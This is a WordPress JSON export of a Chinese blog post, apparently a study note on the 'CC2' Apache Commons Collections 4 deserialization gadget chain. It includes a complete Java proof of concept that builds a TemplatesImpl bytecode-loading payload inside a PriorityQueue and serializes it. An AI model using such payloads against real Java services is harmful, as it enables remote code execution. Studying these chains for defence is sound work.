{"id":218,"date":"2026-03-26T23:56:49","date_gmt":"2026-03-26T15:56:49","guid":{"rendered":"https:\/\/arknight.wiki\/?p=218"},"modified":"2026-03-26T23:56:50","modified_gmt":"2026-03-26T15:56:50","slug":"cc2","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/26\/cc2\/","title":{"rendered":"CC2"},"content":{"rendered":"<h1>CC2:<\/h1>\n<p>\u5c31\u662f\u4e2aCC4\u7684\u53d8\u79cd\uff0c\u53ea\u662f\u7528\u4e86CC3\u7684\u5b57\u8282\u7801\u52a8\u6001\u52a0\u8f7d\u7c7b\uff0c\u540c\u65f6\u7528<code>InvokerTransformer<\/code>\u76f4\u63a5\u89e6\u53d1<code>newTransformer()<\/code>\uff0c\u540c\u65f6\u7531\u4e8e\u662f\u5b57\u8282\u7801\u52a0\u8f7d\u6240\u4ee5\u4e5f\u4e0d\u7528\u8003\u8651\u91cd\u590d\u8c03\u7528<code>transform()<\/code>\u3002<\/p>\n<h3>POC:<\/h3>\n<pre><code>package org.example;\n\nimport java.lang.reflect.Field;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.PriorityQueue;\nimport java.io.*;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport org.apache.commons.collections4.functors.ConstantTransformer;\nimport org.apache.commons.collections4.comparators.TransformingComparator;\nimport org.apache.commons.collections4.functors.InvokerTransformer;\n\npublic class CC2 {\n    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {\n        TemplatesImpl templates = new TemplatesImpl();\n\n        \/\/\u4fee\u6539_name\u7684\u503c\n        setFieldValue(templates,\"_name\",\"a\");\n\n        \/\/\u4fee\u6539_bytecodes\u7684\u503c\n        byte[] code = Files.readAllBytes(Paths.get(\"C:\\Users\\inex\\IdeaProjects\\cc\\classtobytes\\src\\main\\java\\org\\example\\DecodedTest.class\"));\n        byte[][] codes = {code};\n        setFieldValue(templates,\"_bytecodes\",codes);\n\n        InvokerTransformer&lt;Object,Object&gt; invokerTransformer = new InvokerTransformer&lt;&gt;(\"newTransformer\", new Class[]{}, new Object[]{});\n        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));\n        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);\n\n        priorityQueue.add(templates);\n        priorityQueue.add(2);\n\n        setFieldValue(transformingComparator,\"transformer\",invokerTransformer);\n\n        serialize(priorityQueue);\n        unserialize(\"CC2.txt\");\n    }\n    public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{\n        Class c = object.getClass();\n        Field field = c.getDeclaredField(field_name);\n        field.setAccessible(true);\n        field.set(object, field_value);\n    }\n    \/\/\u5b9a\u4e49\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void serialize(Object object) throws IOException {\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"CC2.txt\"));\n        oos.writeObject(object);\n        oos.close();\n    }\n\n    \/\/\u5b9a\u4e49\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void unserialize(String filename) throws IOException, ClassNotFoundException{\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));\n        ois.readObject();\n    }\n}\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>CC2: \u5c31\u662f\u4e2aCC4\u7684\u53d8\u79cd\uff0c\u53ea\u662f\u7528\u4e86CC3\u7684\u5b57\u8282\u7801\u52a8\u6001\u52a0\u8f7d\u7c7b\uff0c\u540c\u65f6\u7528InvokerTransformer\u76f4\u63a5 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,3],"tags":[],"class_list":["post-218","post","type-post","status-publish","format-standard","hentry","category-java","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/218","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=218"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/218\/revisions"}],"predecessor-version":[{"id":219,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/218\/revisions\/219"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=218"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=218"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=218"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}